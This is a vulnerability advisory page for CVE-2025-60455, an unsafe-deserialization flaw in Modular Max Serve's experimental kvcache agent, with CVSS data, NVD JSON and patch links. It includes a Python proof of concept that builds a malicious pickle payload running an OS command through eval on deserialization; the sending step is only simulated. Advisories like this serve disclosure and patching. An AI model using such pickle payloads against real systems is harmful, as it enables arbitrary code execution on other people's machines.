Security Vulnerability Report
中文
CVE-2025-60455 CVSS 8.4 HIGH

CVE-2025-60455

Published: 2025-11-18 19:15:50
Last Modified: 2026-01-08 17:02:33

Description

Unsafe Deserialization vulnerability in Modular Max Serve before 25.6, specifically when the "--experimental-enable-kvcache-agent" feature is used allowing attackers to execute arbitrary code.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:modular:max:*:*:*:*:*:*:*:* - VULNERABLE
Modular Max Serve < 25.6 (with --experimental-enable-kvcache-agent enabled)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60455 PoC - Unsafe Deserialization in Modular Max Serve # This PoC demonstrates the unsafe deserialization vulnerability # Target: Modular Max Serve with --experimental-enable-kvcache-agent enabled import pickle import sys import base64 class MaliciousPayload: """ Malicious class that executes arbitrary code during deserialization. This exploits the __reduce__ method to achieve RCE. """ def __reduce__(self): # Replace with actual command to execute on target cmd = "whoami" # Example command return (eval, (f"__import__('os').system('{cmd}')",)) def generate_payload(): """Generate malicious pickle payload""" payload = pickle.dumps(MaliciousPayload()) return base64.b64encode(payload).decode('utf-8') def exploit(target_ip, target_port): """ Exploit the unsafe deserialization vulnerability Assumes attacker has local access to the system where Max Serve is running """ payload = generate_payload() # Construct the malicious serialized data # In real attack, this would be sent to the kvcache_agent endpoint print(f"[*] Generated malicious payload: {payload[:50]}...") print(f"[*] Payload length: {len(payload)} bytes") print(f"[!] This payload will execute: whoami command on deserialization") print(f"[*] Target: {target_ip}:{target_port}") print("[*] Sending payload...") # Simulate sending the payload # In practice, this would be sent via the kvcache_agent interface return payload if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = sys.argv[2] exploit(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60455", "sourceIdentifier": "[email protected]", "published": "2025-11-18T19:15:49.800", "lastModified": "2026-01-08T17:02:33.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unsafe Deserialization vulnerability in Modular Max Serve before 25.6, specifically when the \"--experimental-enable-kvcache-agent\" feature is used allowing attackers to execute arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:modular:max:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.6.0", "matchCriteriaId": "1A315B87-AEB8-4ACD-AAF0-0F82FCE8717C"}]}]}], "references": [{"url": "https://github.com/modular/modular/blame/main/max/serve/kvcache_agent/kvcache_agent.py#L220", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/modular/modular/commit/10620059fb5c47fb0c30e5d21a8ff3b8d622fba4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modular/modular/commit/b20e749fa892dbe772e890a268002f732164d9f5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modular/modular/commit/ee9c4ab02345dd30bed8b79771b6909ff1b930a1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/modular/modular/issues/4795", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://www.oligo.security/blog/shadowmq-how-code-reuse-spread-critical-vulnerabilities-across-the-ai-ecosystem", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}